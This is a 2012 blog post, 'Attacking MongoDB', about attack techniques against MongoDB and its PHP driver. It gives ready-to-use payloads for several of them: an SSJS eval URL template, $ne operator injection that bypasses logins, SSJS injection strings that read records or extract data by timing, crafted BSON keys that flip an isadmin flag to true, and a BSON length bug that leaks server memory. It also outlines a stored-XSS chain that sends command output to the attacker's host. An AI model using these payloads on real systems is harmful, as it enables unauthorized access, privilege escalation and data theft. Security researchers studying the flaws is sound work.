Monday, November 26, 2012

Attacking MongoDB

I'm not going to describe the way a database is installed: developers make everything possible to ease this process even without using manuals. Let's focus on features that seem really interesting. The first thing is a REST interface. It is a web interface, which runs by default on port 28017 and allows an administrator to control their databases remotely via a browser. Working with this DBMS option, I found several vulnerabilities: two stored XSS vulnerabilities, undocumented SSJS (Server Side Java Script) code execution, and multiple CSRF.

I'm going to detail the above mentioned vulnerabilities.  The fields Clients and Log have two stored XSS vulnerabilities. It means that making any request with HTML code to the database, this code will be written to the source code of the page of the REST interface and will be executed in a browser of a person, who will visit this page. These vulnerabilities make the following attack possible:

  1. Send a request with the tag SCRIPT and JS address.
  2. An administrator opens the web interface in a browser, and the JS code gets executed in this browser.
  3. Request command execution from the remote server via the JSONP script.
  4. The script performs the command using undocumented SSJS code execution.
  5. The result is sent to our remote host, where it is written to a log.

As to undocumented SSJS code execution, I've written a template, which can be modified as may seem necessary.

http://vuln-host:28017/admin/$cmd/?filter_eval=function(){ return db.version() }&limit=1

It is well known that it is necessary to have a driver, which will serve as transport, to work with any significant database written in a script language, for instance PHP.  I decided to take a close look at these drivers for MongoDB and chose a driver for PHP.

Suppose there is a completely configured server with Apache+PHP+MongoDB and a vulnerable script.
The main fragments of this script are as follows:

$q = array("name" => $_GET['login'], "password" => $_GET['password']);
$cursor = $collection->findOne($q);

The script makes a request to the MongoDB database when the data has been received. If the data is correct, then it receives an array with the user's data output. It looks as follows:

echo 'Name: ' . $cursor['name'];
echo 'Password: ' . $cursor['password'];

Suppose the following parameters have been sent to it (True):


Then the request to the database will look as follows:

db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})

Due to the fact that the database contains the user admin with the password pa77w0rd, then its data is output as a response (True). If another name or password is used, then the response will return nothing (False).

There are conditions in MongoDB similar to the common where except for few differences in syntax.  Thus it is necessary to write the following to output records, which names are not admin, from the table items:

db.items.find({"name" :{$ne : "admin"}})

PHP only requires another array to put it into the other one, which is sent by the function findOne.
Let's proceed from theory to practice.  At first, create a request, which sample will comply with the following conditions: password is not 1 and user is admin.

db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})

It will look as follows in PHP:

$q = array("name" => "admin", "password" => array("\$ne" => "1"));

It is only needed to declare the variable password as an array for exploitation:


Consequently, the admin data is output (True). This problem can be solved by the function is_array() and by bringing input arguments to the string type.

Another vulnerability typical of MongoDB and PHP if used together is related to injection of your data to a SSJS request made to a server.

I'll use code to exemplify it. Assume that INSERT looks as follows:

$q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs}); }";

An important condition is that the variables $pass and $login are taken directly from the array $_GET and are not filtered (yes, it's an obvious fail, but it's very common):

Send test data:


Receive the following data in response:

Your login:user
Your password:password

Let's try to exploit the vulnerability, which presupposes that data sent to a parameter is not filtered or verified.

Rewrite loginn variable:

?login=user&password=1'; var loginn = db.version(); var b='

The first thing we want is to read other records. A simple request is at help:

/?login=user&password= '; var loginn = tojson(db.members.find()[0]); var b='2

Of course, it may happen that there will be no output, then it will be needed to use a time-based technique, which is based on a server response delay depending on a condition (true/false), to receive data.  Here is an example:

?login=user&password='; if (db.version() > "2") { sleep(10000); exit; } var loginn =1; var b='2

It is well known that MongoDB allows creating users for a specific database. Information about users in databases is stored in the table db.system.users. We are mostly interested in the fields user and pwd of the above mentioned table. The user column contains a user login, pwd - MD5 string ?%login%:mongo:%password%?, where login and password are the login and hash of the login, key, and user password.

All data is transferred unencrypted and packet hijacking allows obtaining specific data necessary to receive user's name and password. It is needed to hijack nonce, login, and key sent by a client when authorizing on the MongoDB server. Key contains an MD5 string of the following form: ”%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)”.

Let's move further and consider another type of vulnerabilities based on wrong parsing of a BSON object transferred in a request to a database.

A few words about BSON at first. BSON (Binary JavaScript Object Notation) is a computer data interchange format used mainly as a storage of various data (Bool, int, string, and etc.). Assume there is a table with two records:

> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }

And a database request, which can be injected:

>db.test.insert({ "name" : "noadmin2", "isadmin" : false})

Just insert a crafted BSON object to the column name:

>db.test.insert({ "name\x16\x00\x08isadmin\x00\x01\x00\x00\x00\x00\x00" : "noadmin2", "isadmin" : false})

0x08 before isadmin specifies that the data type is boolean and 0x01 sets the object value as true instead of false assigned by default. The point is that, dealing with variable types, it is possible to rewrite data rendered automatically with a request.

Now let's see what there is in the table:

> db.test.find({})
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }
{ "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }
{ "_id" : ObjectId("5044ebf6a91b02e9a9b065e3"), "name" : null, "isadmin" : true, "isadmin" : true }

False has been successfully changed into true!

Let's consider a vulnerability in the BSON parser, which allows reading arbitrary storage areas. Due to incorrect parsing of the length of a BSON document in the column name in the insert command, MongoDB makes it possible to insert a record that will contain a Base64 encrypted storage area of the database server.
Suppose we have a table named dropme and enough privileges to write in it.

> db.dropme.insert({"\x16\x00\x00\x00\x05hello\x00\x010\x00\x00\x00world\x00\x00" : "world"})
> db.dropme.find()
{ "_id" : ObjectId("50857a4663944834b98eb4cc"), "" : null, "hello" : BinData(0,"d29ybGQAAAAACREAAAAQ/4wJSCCPCeyFjQkAOQAsAC...........................ACkALAAgACIAFg==") }

It happens because the length of the BSON object is incorrect - 0x010 instead of 0x01. When Base64 code is decrypted, we receive bytes of random server storage areas.